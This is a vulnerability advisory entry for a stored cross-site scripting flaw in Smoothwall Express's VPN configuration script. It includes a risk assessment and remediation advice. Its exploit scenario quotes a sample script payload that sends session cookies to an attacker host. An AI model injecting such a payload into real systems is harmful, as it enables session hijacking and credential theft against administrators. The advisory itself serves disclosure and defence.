4DescriptionCVE.org
Smoothwall Express versions prior to 3.1 Update 13 contain a stored cross-site scripting vulnerability in the /cgi-bin/vpnmain.cgi script due to improper sanitation of the VPN_IP parameter. Authenticated attackers can inject arbitrary JavaScript through VPN configuration settings that executes when the affected page is viewed by other users.
AnalysisAI
Stored cross-site scripting in Smoothwall Express prior to version 3.1 Update 13 allows authenticated attackers to inject arbitrary JavaScript through the VPN_IP parameter in /cgi-bin/vpnmain.cgi, which executes when other users view affected VPN configuration pages. The vulnerability requires user interaction (page view) and authenticated access, limiting immediate risk but enabling persistent session hijacking or credential theft against administrative users. …

Vulnerability AssessmentAI
| Risk Assessment | The CVSS v4.0 base score of 5.1 reflects a medium-severity vulnerability with network attack vector, low complexity, and low-privilege attacker requirements, but mitigated by the requirement for user interaction and limited scope (scope change is not indicated). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated attacker with low-privilege account access modifies VPN settings, injecting a malicious JavaScript payload such as '<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>' into the VPN_IP parameter. When a higher-privileged administrator or other user accesses the VPN configuration page to review or edit settings, the injected script executes in their browser, silently exfiltrating their session cookies to an attacker-controlled server. … |
| Remediation | Vendor-released patch: Smoothwall Express 3.1 Update 13 or later. … Detailed patch versions, workarounds, and compensating controls in full report. |
